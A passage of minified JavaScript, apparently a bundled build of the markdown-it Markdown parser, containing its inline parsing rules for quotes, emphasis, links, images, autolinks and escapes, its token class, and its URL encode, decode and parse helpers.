for(s=i-1;s&gt;=0&amp;&amp;(&quot;softbreak&quot;!==e[s].type&amp;&amp;&quot;hardbreak&quot;!==e[s].type);s--)if(e[s].content){b=e[s].content.charCodeAt(e[s].content.length-1);break}let v=32;if(d&lt;p)v=u.charCodeAt(d);else for(s=i+1;s&lt;e.length&amp;&amp;(&quot;softbreak&quot;!==e[s].type&amp;&amp;&quot;hardbreak&quot;!==e[s].type);s++)if(e[s].content){v=e[s].content.charCodeAt(0);break}const k=(0,r.isMdAsciiPunct)(b)||(0,r.isPunctChar)(String.fromCharCode(b)),y=(0,r.isMdAsciiPunct)(v)||(0,r.isPunctChar)(String.fromCharCode(v)),x=(0,r.isWhiteSpace)(b),j=(0,r.isWhiteSpace)(v);if(j?m=!1:y&amp;&amp;(x||k||(m=!1)),x?g=!1:k&amp;&amp;(j||y||(g=!1)),34===v&amp;&amp;&#039;&quot;&#039;===h[0]&amp;&amp;b&gt;=48&amp;&amp;b&lt;=57&amp;&amp;(g=m=!1),m&amp;&amp;g&amp;&amp;(m=k,g=y),m||g){if(g)for(s=n.length-1;s&gt;=0;s--){let r=n[s];if(n[s].level&lt;c)break;if(r.single===f&amp;&amp;n[s].level===c){let o,c;r=n[s],f?(o=t.md.options.quotes[2],c=t.md.options.quotes[3]):(o=t.md.options.quotes[0],c=t.md.options.quotes[1]),l.content=a(l.content,h.index,c),e[r.token].content=a(e[r.token].content,r.pos,o),d+=c.length-1,r.token===i&amp;&amp;(d+=o.length-1),u=l.content,p=u.length,n.length=s;continue e}}m?n.push({token:i,pos:h.index,single:f,level:c}):g&amp;&amp;f&amp;&amp;(l.content=a(l.content,h.index,&quot;’&quot;))}else f&amp;&amp;(l.content=a(l.content,h.index,&quot;’&quot;))}}}function l(e){if(e.md.options.typographer)for(let t=e.tokens.length-1;t&gt;=0;t--)&quot;inline&quot;===e.tokens[t].type&amp;&amp;n.test(e.tokens[t].content)&amp;&amp;i(e.tokens[t].children,e)}},37569(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(57997);function n(e,t,s){this.src=e,this.env=s,this.tokens=[],this.inlineMode=!1,this.md=t}n.prototype.Token=r.A;const o=n},11242(e,t,s){&quot;use strict&quot;;function r(e){let t,s;const r=e.tokens,n=r.length;for(let e=0;e&lt;n;e++){if(&quot;inline&quot;!==r[e].type)continue;const n=r[e].children,o=n.length;for(t=0;t&lt;o;t++)&quot;text_special&quot;===n[t].type&amp;&amp;(n[t].type=&quot;text&quot;);for(t=s=0;t&lt;o;t++)&quot;text&quot;===n[t].type&amp;&amp;t+1&lt;o&amp;&amp;&quot;text&quot;===n[t+1].type?n[t+1].content=n[t].content+n[t+1].content:(t!==s&amp;&amp;(n[s]=n[t]),s++);t!==s&amp;&amp;(n.length=s)}}s.d(t,{A:()=&gt;r})},85469(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});const r=/^([a-zA-Z0-9.!#$%&amp;&#039;*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*)$/,n=/^([a-zA-Z][a-zA-Z0-9+.-]{1,31}):([^&lt;&gt;\x00-\x20]*)$/;function o(e,t){let s=e.pos;if(60!==e.src.charCodeAt(s))return!1;const o=e.pos,a=e.posMax;for(;;){if(++s&gt;=a)return!1;const t=e.src.charCodeAt(s);if(60===t)return!1;if(62===t)break}const i=e.src.slice(o+1,s);if(n.test(i)){const s=e.md.normalizeLink(i);if(!e.md.validateLink(s))return!1;if(!t){const t=e.push(&quot;link_open&quot;,&quot;a&quot;,1);t.attrs=[[&quot;href&quot;,s]],t.markup=&quot;autolink&quot;,t.info=&quot;auto&quot;;e.push(&quot;text&quot;,&quot;&quot;,0).content=e.md.normalizeLinkText(i);const r=e.push(&quot;link_close&quot;,&quot;a&quot;,-1);r.markup=&quot;autolink&quot;,r.info=&quot;auto&quot;}return e.pos+=i.length+2,!0}if(r.test(i)){const s=e.md.normalizeLink(&quot;mailto:&quot;+i);if(!e.md.validateLink(s))return!1;if(!t){const t=e.push(&quot;link_open&quot;,&quot;a&quot;,1);t.attrs=[[&quot;href&quot;,s]],t.markup=&quot;autolink&quot;,t.info=&quot;auto&quot;;e.push(&quot;text&quot;,&quot;&quot;,0).content=e.md.normalizeLinkText(i);const r=e.push(&quot;link_close&quot;,&quot;a&quot;,-1);r.markup=&quot;autolink&quot;,r.info=&quot;auto&quot;}return e.pos+=i.length+2,!0}return!1}},38797(e,t,s){&quot;use strict&quot;;function r(e,t){let s=e.pos;if(96!==e.src.charCodeAt(s))return!1;const r=s;s++;const n=e.posMax;for(;s&lt;n&amp;&amp;96===e.src.charCodeAt(s);)s++;const o=e.src.slice(r,s),a=o.length;if(e.backticksScanned&amp;&amp;(e.backticks[a]||0)&lt;=r)return t||(e.pending+=o),e.pos+=a,!0;let i,l=s;for(;-1!==(i=e.src.indexOf(&quot;`&quot;,l));){for(l=i+1;l&lt;n&amp;&amp;96===e.src.charCodeAt(l);)l++;const r=l-i;if(r===a){if(!t){const t=e.push(&quot;code_inline&quot;,&quot;code&quot;,0);t.markup=o,t.content=e.src.slice(s,i).replace(/\n/g,&quot; &quot;).replace(/^ (.+) $/,&quot;$1&quot;)}return e.pos=l,!0}e.backticks[r]=i}return e.backticksScanned=!0,t||(e.pending+=o),e.pos+=a,!0}s.d(t,{A:()=&gt;r})},76014(e,t,s){&quot;use strict&quot;;function r(e){const t={},s=e.length;if(!s)return;let r=0,n=-2;const o=[];for(let a=0;a&lt;s;a++){const s=e[a];if(o.push(0),e[r].marker===s.marker&amp;&amp;n===s.token-1||(r=a),n=s.token,s.length=s.length||0,!s.close)continue;t.hasOwnProperty(s.marker)||(t[s.marker]=[-1,-1,-1,-1,-1,-1]);const i=t[s.marker][(s.open?3:0)+s.length%3];let l=r-o[r]-1,c=l;for(;l&gt;i;l-=o[l]+1){const t=e[l];if(t.marker===s.marker&amp;&amp;(t.open&amp;&amp;t.end&lt;0)){let r=!1;if((t.close||s.open)&amp;&amp;(t.length+s.length)%3==0&amp;&amp;(t.length%3==0&amp;&amp;s.length%3==0||(r=!0)),!r){const r=l&gt;0&amp;&amp;!e[l-1].open?o[l-1]+1:0;o[a]=a-l+r,o[l]=r,s.open=!1,t.end=a,t.close=!1,c=-1,n=-2;break}}}-1!==c&amp;&amp;(t[s.marker][(s.open?3:0)+(s.length||0)%3]=c)}}function n(e){const t=e.tokens_meta,s=e.tokens_meta.length;r(e.delimiters);for(let e=0;e&lt;s;e++)t[e]&amp;&amp;t[e].delimiters&amp;&amp;r(t[e].delimiters)}s.d(t,{A:()=&gt;n})},62206(e,t,s){&quot;use strict&quot;;function r(e,t){for(let s=t.length-1;s&gt;=0;s--){const r=t[s];if(95!==r.marker&amp;&amp;42!==r.marker)continue;if(-1===r.end)continue;const n=t[r.end],o=s&gt;0&amp;&amp;t[s-1].end===r.end+1&amp;&amp;t[s-1].marker===r.marker&amp;&amp;t[s-1].token===r.token-1&amp;&amp;t[r.end+1].token===n.token+1,a=String.fromCharCode(r.marker),i=e.tokens[r.token];i.type=o?&quot;strong_open&quot;:&quot;em_open&quot;,i.tag=o?&quot;strong&quot;:&quot;em&quot;,i.nesting=1,i.markup=o?a+a:a,i.content=&quot;&quot;;const l=e.tokens[n.token];l.type=o?&quot;strong_close&quot;:&quot;em_close&quot;,l.tag=o?&quot;strong&quot;:&quot;em&quot;,l.nesting=-1,l.markup=o?a+a:a,l.content=&quot;&quot;,o&amp;&amp;(e.tokens[t[s-1].token].content=&quot;&quot;,e.tokens[t[r.end+1].token].content=&quot;&quot;,s--)}}s.d(t,{A:()=&gt;n});const n={tokenize:function(e,t){const s=e.pos,r=e.src.charCodeAt(s);if(t)return!1;if(95!==r&amp;&amp;42!==r)return!1;const n=e.scanDelims(e.pos,42===r);for(let t=0;t&lt;n.length;t++){e.push(&quot;text&quot;,&quot;&quot;,0).content=String.fromCharCode(r),e.delimiters.push({marker:r,length:n.length,token:e.tokens.length-1,end:-1,open:n.can_open,close:n.can_close})}return e.pos+=n.length,!0},postProcess:function(e){const t=e.tokens_meta,s=e.tokens_meta.length;r(e,e.delimiters);for(let n=0;n&lt;s;n++)t[n]&amp;&amp;t[n].delimiters&amp;&amp;r(e,t[n].delimiters)}}},41517(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(9405),n=s(54439);const o=/^&amp;#((?:x[a-f0-9]{1,6}|[0-9]{1,7}));/i,a=/^&amp;([a-z][a-z0-9]{1,31});/i;function i(e,t){const s=e.pos,i=e.posMax;if(38!==e.src.charCodeAt(s))return!1;if(s+1&gt;=i)return!1;if(35===e.src.charCodeAt(s+1)){const r=e.src.slice(s).match(o);if(r){if(!t){const t=&quot;x&quot;===r[1][0].toLowerCase()?parseInt(r[1].slice(1),16):parseInt(r[1],10),s=e.push(&quot;text_special&quot;,&quot;&quot;,0);s.content=(0,n.isValidEntityCode)(t)?(0,n.fromCodePoint)(t):(0,n.fromCodePoint)(65533),s.markup=r[0],s.info=&quot;entity&quot;}return e.pos+=r[0].length,!0}}else{const n=e.src.slice(s).match(a);if(n){const s=(0,r.Gz)(n[0]);if(s!==n[0]){if(!t){const t=e.push(&quot;text_special&quot;,&quot;&quot;,0);t.content=s,t.markup=n[0],t.info=&quot;entity&quot;}return e.pos+=n[0].length,!0}}}return!1}},17785(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(54439);const n=[];for(let e=0;e&lt;256;e++)n.push(0);function o(e,t){let s=e.pos;const o=e.posMax;if(92!==e.src.charCodeAt(s))return!1;if(s++,s&gt;=o)return!1;let a=e.src.charCodeAt(s);if(10===a){for(t||e.push(&quot;hardbreak&quot;,&quot;br&quot;,0),s++;s&lt;o&amp;&amp;(a=e.src.charCodeAt(s),(0,r.isSpace)(a));)s++;return e.pos=s,!0}let i=e.src[s];if(a&gt;=55296&amp;&amp;a&lt;=56319&amp;&amp;s+1&lt;o){const t=e.src.charCodeAt(s+1);t&gt;=56320&amp;&amp;t&lt;=57343&amp;&amp;(i+=e.src[s+1],s++)}const l=&quot;\\&quot;+i;if(!t){const t=e.push(&quot;text_special&quot;,&quot;&quot;,0);a&lt;256&amp;&amp;0!==n[a]?t.content=i:t.content=l,t.markup=l,t.info=&quot;escape&quot;}return e.pos=s+1,!0}&quot;\\!\&quot;#$%&amp;&#039;()*+,./:;&lt;=&gt;?@[]^_`{|}~-&quot;.split(&quot;&quot;).forEach(function(e){n[e.charCodeAt(0)]=1})},70322(e,t,s){&quot;use strict&quot;;function r(e){let t,s,r=0;const n=e.tokens,o=e.tokens.length;for(t=s=0;t&lt;o;t++)n[t].nesting&lt;0&amp;&amp;r--,n[t].level=r,n[t].nesting&gt;0&amp;&amp;r++,&quot;text&quot;===n[t].type&amp;&amp;t+1&lt;o&amp;&amp;&quot;text&quot;===n[t+1].type?n[t+1].content=n[t].content+n[t+1].content:(t!==s&amp;&amp;(n[s]=n[t]),s++);t!==s&amp;&amp;(n.length=s)}s.d(t,{A:()=&gt;r})},7105(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(58105);function n(e,t){if(!e.md.options.html)return!1;const s=e.posMax,n=e.pos;if(60!==e.src.charCodeAt(n)||n+2&gt;=s)return!1;const o=e.src.charCodeAt(n+1);if(33!==o&amp;&amp;63!==o&amp;&amp;47!==o&amp;&amp;!function(e){const t=32|e;return t&gt;=97&amp;&amp;t&lt;=122}(o))return!1;const a=e.src.slice(n).match(r.l);if(!a)return!1;if(!t){const t=e.push(&quot;html_inline&quot;,&quot;&quot;,0);t.content=a[0],i=t.content,/^&lt;a[&gt;\s]/i.test(i)&amp;&amp;e.linkLevel++,function(e){return/^&lt;\/a\s*&gt;/i.test(e)}(t.content)&amp;&amp;e.linkLevel--}var i;return e.pos+=a[0].length,!0}},74427(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(54439);function n(e,t){let s,n,o,a,i,l,c,u,d=&quot;&quot;;const p=e.pos,h=e.posMax;if(33!==e.src.charCodeAt(e.pos))return!1;if(91!==e.src.charCodeAt(e.pos+1))return!1;const m=e.pos+2,g=e.md.helpers.parseLinkLabel(e,e.pos+1,!1);if(g&lt;0)return!1;if(a=g+1,a&lt;h&amp;&amp;40===e.src.charCodeAt(a)){for(a++;a&lt;h&amp;&amp;(s=e.src.charCodeAt(a),(0,r.isSpace)(s)||10===s);a++);if(a&gt;=h)return!1;for(u=a,l=e.md.helpers.parseLinkDestination(e.src,a,e.posMax),l.ok&amp;&amp;(d=e.md.normalizeLink(l.str),e.md.validateLink(d)?a=l.pos:d=&quot;&quot;),u=a;a&lt;h&amp;&amp;(s=e.src.charCodeAt(a),(0,r.isSpace)(s)||10===s);a++);if(l=e.md.helpers.parseLinkTitle(e.src,a,e.posMax),a&lt;h&amp;&amp;u!==a&amp;&amp;l.ok)for(c=l.str,a=l.pos;a&lt;h&amp;&amp;(s=e.src.charCodeAt(a),(0,r.isSpace)(s)||10===s);a++);else c=&quot;&quot;;if(a&gt;=h||41!==e.src.charCodeAt(a))return e.pos=p,!1;a++}else{if(void 0===e.env.references)return!1;if(a&lt;h&amp;&amp;91===e.src.charCodeAt(a)?(u=a+1,a=e.md.helpers.parseLinkLabel(e,a),a&gt;=0?o=e.src.slice(u,a++):a=g+1):a=g+1,o||(o=e.src.slice(m,g)),i=e.env.references[(0,r.normalizeReference)(o)],!i)return e.pos=p,!1;d=i.href,c=i.title}if(!t){n=e.src.slice(m,g);const t=[];e.md.inline.parse(n,e.md,e.env,t);const s=e.push(&quot;image&quot;,&quot;img&quot;,0),r=[[&quot;src&quot;,d],[&quot;alt&quot;,&quot;&quot;]];s.attrs=r,s.children=t,s.content=n,c&amp;&amp;r.push([&quot;title&quot;,c])}return e.pos=a,e.posMax=h,!0}},22128(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(54439);function n(e,t){let s,n,o,a,i=&quot;&quot;,l=&quot;&quot;,c=e.pos,u=!0;if(91!==e.src.charCodeAt(e.pos))return!1;const d=e.pos,p=e.posMax,h=e.pos+1,m=e.md.helpers.parseLinkLabel(e,e.pos,!0);if(m&lt;0)return!1;let g=m+1;if(g&lt;p&amp;&amp;40===e.src.charCodeAt(g)){for(u=!1,g++;g&lt;p&amp;&amp;(s=e.src.charCodeAt(g),(0,r.isSpace)(s)||10===s);g++);if(g&gt;=p)return!1;if(c=g,o=e.md.helpers.parseLinkDestination(e.src,g,e.posMax),o.ok){for(i=e.md.normalizeLink(o.str),e.md.validateLink(i)?g=o.pos:i=&quot;&quot;,c=g;g&lt;p&amp;&amp;(s=e.src.charCodeAt(g),(0,r.isSpace)(s)||10===s);g++);if(o=e.md.helpers.parseLinkTitle(e.src,g,e.posMax),g&lt;p&amp;&amp;c!==g&amp;&amp;o.ok)for(l=o.str,g=o.pos;g&lt;p&amp;&amp;(s=e.src.charCodeAt(g),(0,r.isSpace)(s)||10===s);g++);}(g&gt;=p||41!==e.src.charCodeAt(g))&amp;&amp;(u=!0),g++}if(u){if(void 0===e.env.references)return!1;if(g&lt;p&amp;&amp;91===e.src.charCodeAt(g)?(c=g+1,g=e.md.helpers.parseLinkLabel(e,g),g&gt;=0?n=e.src.slice(c,g++):g=m+1):g=m+1,n||(n=e.src.slice(h,m)),a=e.env.references[(0,r.normalizeReference)(n)],!a)return e.pos=d,!1;i=a.href,l=a.title}if(!t){e.pos=h,e.posMax=m;const t=[[&quot;href&quot;,i]];e.push(&quot;link_open&quot;,&quot;a&quot;,1).attrs=t,l&amp;&amp;t.push([&quot;title&quot;,l]),e.linkLevel++,e.md.inline.tokenize(e),e.linkLevel--,e.push(&quot;link_close&quot;,&quot;a&quot;,-1)}return e.pos=g,e.posMax=p,!0}},44938(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});const r=/(?:^|[^a-z0-9.+-])([a-z][a-z0-9.+-]*)$/i;function n(e,t){if(!e.md.options.linkify)return!1;if(e.linkLevel&gt;0)return!1;const s=e.pos;if(s+3&gt;e.posMax)return!1;if(58!==e.src.charCodeAt(s))return!1;if(47!==e.src.charCodeAt(s+1))return!1;if(47!==e.src.charCodeAt(s+2))return!1;const n=e.pending.match(r);if(!n)return!1;const o=n[1],a=e.md.linkify.matchAtStart(e.src.slice(s-o.length));if(!a)return!1;let i=a.url;if(i.length&lt;=o.length)return!1;let l=i.length;for(;l&gt;0&amp;&amp;42===i.charCodeAt(l-1);)l--;l!==i.length&amp;&amp;(i=i.slice(0,l));const c=e.md.normalizeLink(i);if(!e.md.validateLink(c))return!1;if(!t){e.pending=e.pending.slice(0,-o.length);const t=e.push(&quot;link_open&quot;,&quot;a&quot;,1);t.attrs=[[&quot;href&quot;,c]],t.markup=&quot;linkify&quot;,t.info=&quot;auto&quot;;e.push(&quot;text&quot;,&quot;&quot;,0).content=e.md.normalizeLinkText(i);const s=e.push(&quot;link_close&quot;,&quot;a&quot;,-1);s.markup=&quot;linkify&quot;,s.info=&quot;auto&quot;}return e.pos+=i.length-o.length,!0}},94076(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(54439);function n(e,t){let s=e.pos;if(10!==e.src.charCodeAt(s))return!1;const n=e.pending.length-1,o=e.posMax;if(!t)if(n&gt;=0&amp;&amp;32===e.pending.charCodeAt(n))if(n&gt;=1&amp;&amp;32===e.pending.charCodeAt(n-1)){let t=n-1;for(;t&gt;=1&amp;&amp;32===e.pending.charCodeAt(t-1);)t--;e.pending=e.pending.slice(0,t),e.push(&quot;hardbreak&quot;,&quot;br&quot;,0)}else e.pending=e.pending.slice(0,-1),e.push(&quot;softbreak&quot;,&quot;br&quot;,0);else e.push(&quot;softbreak&quot;,&quot;br&quot;,0);for(s++;s&lt;o&amp;&amp;(0,r.isSpace)(e.src.charCodeAt(s));)s++;return e.pos=s,!0}},60057(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(57997),n=s(54439);function o(e,t,s,r){this.src=e,this.env=s,this.md=t,this.tokens=r,this.tokens_meta=Array(r.length),this.pos=0,this.posMax=this.src.length,this.level=0,this.pending=&quot;&quot;,this.pendingLevel=0,this.cache={},this.delimiters=[],this._prev_delimiters=[],this.backticks={},this.backticksScanned=!1,this.linkLevel=0}o.prototype.pushPending=function(){const e=new r.A(&quot;text&quot;,&quot;&quot;,0);return e.content=this.pending,e.level=this.pendingLevel,this.tokens.push(e),this.pending=&quot;&quot;,e},o.prototype.push=function(e,t,s){this.pending&amp;&amp;this.pushPending();const n=new r.A(e,t,s);let o=null;return s&lt;0&amp;&amp;(this.level--,this.delimiters=this._prev_delimiters.pop()),n.level=this.level,s&gt;0&amp;&amp;(this.level++,this._prev_delimiters.push(this.delimiters),this.delimiters=[],o={delimiters:this.delimiters}),this.pendingLevel=this.level,this.tokens.push(n),this.tokens_meta.push(o),n},o.prototype.scanDelims=function(e,t){const s=this.posMax,r=this.src.charCodeAt(e),o=e&gt;0?this.src.charCodeAt(e-1):32;let a=e;for(;a&lt;s&amp;&amp;this.src.charCodeAt(a)===r;)a++;const i=a-e,l=a&lt;s?this.src.charCodeAt(a):32,c=(0,n.isMdAsciiPunct)(o)||(0,n.isPunctChar)(String.fromCharCode(o)),u=(0,n.isMdAsciiPunct)(l)||(0,n.isPunctChar)(String.fromCharCode(l)),d=(0,n.isWhiteSpace)(o),p=(0,n.isWhiteSpace)(l),h=!p&amp;&amp;(!u||d||c),m=!d&amp;&amp;(!c||p||u);return{can_open:h&amp;&amp;(t||!m||c),can_close:m&amp;&amp;(t||!h||u),length:i}},o.prototype.Token=r.A;const a=o},50925(e,t,s){&quot;use strict&quot;;function r(e,t){let s;const r=[],n=t.length;for(let o=0;o&lt;n;o++){const n=t[o];if(126!==n.marker)continue;if(-1===n.end)continue;const a=t[n.end];s=e.tokens[n.token],s.type=&quot;s_open&quot;,s.tag=&quot;s&quot;,s.nesting=1,s.markup=&quot;~~&quot;,s.content=&quot;&quot;,s=e.tokens[a.token],s.type=&quot;s_close&quot;,s.tag=&quot;s&quot;,s.nesting=-1,s.markup=&quot;~~&quot;,s.content=&quot;&quot;,&quot;text&quot;===e.tokens[a.token-1].type&amp;&amp;&quot;~&quot;===e.tokens[a.token-1].content&amp;&amp;r.push(a.token-1)}for(;r.length;){const t=r.pop();let n=t+1;for(;n&lt;e.tokens.length&amp;&amp;&quot;s_close&quot;===e.tokens[n].type;)n++;n--,t!==n&amp;&amp;(s=e.tokens[n],e.tokens[n]=e.tokens[t],e.tokens[t]=s)}}s.d(t,{A:()=&gt;n});const n={tokenize:function(e,t){const s=e.pos,r=e.src.charCodeAt(s);if(t)return!1;if(126!==r)return!1;const n=e.scanDelims(e.pos,!0);let o=n.length;const a=String.fromCharCode(r);if(o&lt;2)return!1;let i;o%2&amp;&amp;(i=e.push(&quot;text&quot;,&quot;&quot;,0),i.content=a,o--);for(let t=0;t&lt;o;t+=2)i=e.push(&quot;text&quot;,&quot;&quot;,0),i.content=a+a,e.delimiters.push({marker:r,length:0,token:e.tokens.length-1,end:-1,open:n.can_open,close:n.can_close});return e.pos+=n.length,!0},postProcess:function(e){const t=e.tokens_meta,s=e.tokens_meta.length;r(e,e.delimiters);for(let n=0;n&lt;s;n++)t[n]&amp;&amp;t[n].delimiters&amp;&amp;r(e,t[n].delimiters)}}},68597(e,t,s){&quot;use strict&quot;;function r(e){switch(e){case 10:case 33:case 35:case 36:case 37:case 38:case 42:case 43:case 45:case 58:case 60:case 61:case 62:case 64:case 91:case 92:case 93:case 94:case 95:case 96:case 123:case 125:case 126:return!0;default:return!1}}function n(e,t){let s=e.pos;for(;s&lt;e.posMax&amp;&amp;!r(e.src.charCodeAt(s));)s++;return s!==e.pos&amp;&amp;(t||(e.pending+=e.src.slice(e.pos,s)),e.pos=s,!0)}s.d(t,{A:()=&gt;n})},57997(e,t,s){&quot;use strict&quot;;function r(e,t,s){this.type=e,this.tag=t,this.attrs=null,this.map=null,this.nesting=s,this.level=0,this.children=null,this.content=&quot;&quot;,this.markup=&quot;&quot;,this.info=&quot;&quot;,this.meta=null,this.block=!1,this.hidden=!1}s.d(t,{A:()=&gt;n}),r.prototype.attrIndex=function(e){if(!this.attrs)return-1;const t=this.attrs;for(let s=0,r=t.length;s&lt;r;s++)if(t[s][0]===e)return s;return-1},r.prototype.attrPush=function(e){this.attrs?this.attrs.push(e):this.attrs=[e]},r.prototype.attrSet=function(e,t){const s=this.attrIndex(e),r=[e,t];s&lt;0?this.attrPush(r):this.attrs[s]=r},r.prototype.attrGet=function(e){const t=this.attrIndex(e);let s=null;return t&gt;=0&amp;&amp;(s=this.attrs[t][1]),s},r.prototype.attrJoin=function(e,t){const s=this.attrIndex(e);s&lt;0?this.attrPush([e,t]):this.attrs[s][1]=this.attrs[s][1]+&quot; &quot;+t};const n=r},25315(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{decode:()=&gt;r.A,encode:()=&gt;n.A,format:()=&gt;o.A,parse:()=&gt;a.A});var r=s(51227),n=s(10963),o=s(5840),a=s(26786)},51227(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});const r={};function n(e,t){&quot;string&quot;!=typeof t&amp;&amp;(t=n.defaultChars);const s=function(e){let t=r[e];if(t)return t;t=r[e]=[];for(let e=0;e&lt;128;e++){const s=String.fromCharCode(e);t.push(s)}for(let s=0;s&lt;e.length;s++){const r=e.charCodeAt(s);t[r]=&quot;%&quot;+(&quot;0&quot;+r.toString(16).toUpperCase()).slice(-2)}return t}(t);return e.replace(/(%[a-f0-9]{2})+/gi,function(e){let t=&quot;&quot;;for(let r=0,n=e.length;r&lt;n;r+=3){const o=parseInt(e.slice(r+1,r+3),16);if(o&lt;128)t+=s[o];else{if(192==(224&amp;o)&amp;&amp;r+3&lt;n){const s=parseInt(e.slice(r+4,r+6),16);if(128==(192&amp;s)){const e=o&lt;&lt;6&amp;1984|63&amp;s;t+=e&lt;128?&quot;��&quot;:String.fromCharCode(e),r+=3;continue}}if(224==(240&amp;o)&amp;&amp;r+6&lt;n){const s=parseInt(e.slice(r+4,r+6),16),n=parseInt(e.slice(r+7,r+9),16);if(128==(192&amp;s)&amp;&amp;128==(192&amp;n)){const e=o&lt;&lt;12&amp;61440|s&lt;&lt;6&amp;4032|63&amp;n;t+=e&lt;2048||e&gt;=55296&amp;&amp;e&lt;=57343?&quot;���&quot;:String.fromCharCode(e),r+=6;continue}}if(240==(248&amp;o)&amp;&amp;r+9&lt;n){const s=parseInt(e.slice(r+4,r+6),16),n=parseInt(e.slice(r+7,r+9),16),a=parseInt(e.slice(r+10,r+12),16);if(128==(192&amp;s)&amp;&amp;128==(192&amp;n)&amp;&amp;128==(192&amp;a)){let e=o&lt;&lt;18&amp;1835008|s&lt;&lt;12&amp;258048|n&lt;&lt;6&amp;4032|63&amp;a;e&lt;65536||e&gt;1114111?t+=&quot;����&quot;:(e-=65536,t+=String.fromCharCode(55296+(e&gt;&gt;10),56320+(1023&amp;e))),r+=9;continue}}t+=&quot;�&quot;}}return t})}n.defaultChars=&quot;;/?:@&amp;=+$,#&quot;,n.componentChars=&quot;&quot;;const o=n},10963(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});const r={};function n(e,t,s){&quot;string&quot;!=typeof t&amp;&amp;(s=t,t=n.defaultChars),void 0===s&amp;&amp;(s=!0);const o=function(e){let t=r[e];if(t)return t;t=r[e]=[];for(let e=0;e&lt;128;e++){const s=String.fromCharCode(e);/^[0-9a-z]$/i.test(s)?t.push(s):t.push(&quot;%&quot;+(&quot;0&quot;+e.toString(16).toUpperCase()).slice(-2))}for(let s=0;s&lt;e.length;s++)t[e.charCodeAt(s)]=e[s];return t}(t);let a=&quot;&quot;;for(let t=0,r=e.length;t&lt;r;t++){const n=e.charCodeAt(t);if(s&amp;&amp;37===n&amp;&amp;t+2&lt;r&amp;&amp;/^[0-9a-f]{2}$/i.test(e.slice(t+1,t+3)))a+=e.slice(t,t+3),t+=2;else if(n&lt;128)a+=o[n];else if(n&gt;=55296&amp;&amp;n&lt;=57343){if(n&gt;=55296&amp;&amp;n&lt;=56319&amp;&amp;t+1&lt;r){const s=e.charCodeAt(t+1);if(s&gt;=56320&amp;&amp;s&lt;=57343){a+=encodeURIComponent(e[t]+e[t+1]),t++;continue}}a+=&quot;%EF%BF%BD&quot;}else a+=encodeURIComponent(e[t])}return a}n.defaultChars=&quot;;/?:@&amp;=+$,-_.!~*&#039;()#&quot;,n.componentChars=&quot;-_.!~*&#039;()&quot;;const o=n},5840(e,t,s){&quot;use strict&quot;;function r(e){let t=&quot;&quot;;return t+=e.protocol||&quot;&quot;,t+=e.slashes?&quot;//&quot;:&quot;&quot;,t+=e.auth?e.auth+&quot;@&quot;:&quot;&quot;,e.hostname&amp;&amp;-1!==e.hostname.indexOf(&quot;:&quot;)?t+=&quot;[&quot;+e.hostname+&quot;]&quot;:t+=e.hostname||&quot;&quot;,t+=e.port?&quot;:&quot;+e.port:&quot;&quot;,t+=e.pathname||&quot;&quot;,t+=e.search||&quot;&quot;,t+=e.hash||&quot;&quot;,t}s.d(t,{A:()=&gt;r})},26786(e,t,s){&quot;use strict&quot;;function r(){this.protocol=null,this.slashes=null,this.auth=null,this.port=null,this.hostname=null,this.hash=null,this.search=null,this.pathname=null}s.d(t,{A:()=&gt;g});const n=/^([a-z0-9.+-]+:)/i,o=/:[0-9]*$/,a=/^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/,i=[&quot;{&quot;,&quot;}&quot;,&quot;|&quot;,&quot;\\&quot;,&quot;^&quot;,&quot;`&quot;].concat([&quot;&lt;&quot;,&quot;&gt;&quot;,&#039;&quot;&#039;,&quot;`&quot;,&quot; &quot;,&quot;\r&quot;,&quot;\n&quot;,&quot;\t&quot;]),l=[&quot;&#039;&quot;].concat(i),c=[&quot;%&quot;,&quot;/&quot;,&quot;?&quot;,&quot;;&quot;,&quot;#&quot;].concat(l),u=[&quot;/&quot;,&quot;?&quot;,&quot;#&quot;],d=/^[+a-z0-9A-Z_-]{0,63}$/,p=/^([+a-z0-9A-Z_-]{0,63})(.*)$/,h={javascript:!0,&quot;javascript:&quot;:!0},m={http:!0,https:!0,ftp:!0,gopher:!0,file:!0,&quot;http:&quot;:!0,&quot;https:&quot;:!0,&quot;ftp:&quot;:!0,&quot;gopher:&quot;:!0,&quot;file:&quot;:!0};r.prototype.parse=function(e,t){let s,r,o,i=e;if(i=i.trim(),!t&amp;&amp;1===e.split(&quot;#&quot;).length){const e=a.exec(i);if(e)return this.pathname=e[1],e[2]&amp;&amp;(this.search=e[2]),this}let l=n.exec(i);if(l&amp;&amp;(l=l[0],s=l.toLowerCase(),this.protocol=l,i=i.substr(l.length)),(t||l||i.match(/^\/\/[^@\/]+@[^@\/]+/))&amp;&amp;(o=&quot;//&quot;===i.substr(0,2),!o||l&amp;&amp;h[l]||(i=i.substr(2),this.slashes=!0)),!h[l]&amp;&amp;(o||l&amp;&amp;!m[l])){let e,t,s=-1;for(let e=0;e&lt;u.length;e++)r=i.indexOf(u[e]),-1!==r&amp;&amp;(-1===s||r&lt;s)&amp;&amp;(s=r);t=-1===s?i.lastIndexOf(&quot;@&quot;):i.lastIndexOf(&quot;@&quot;,s),-1!==t&amp;&amp;(e=i.slice(0,t),i=i.slice(t+1),this.auth=e),s=-1;for(let 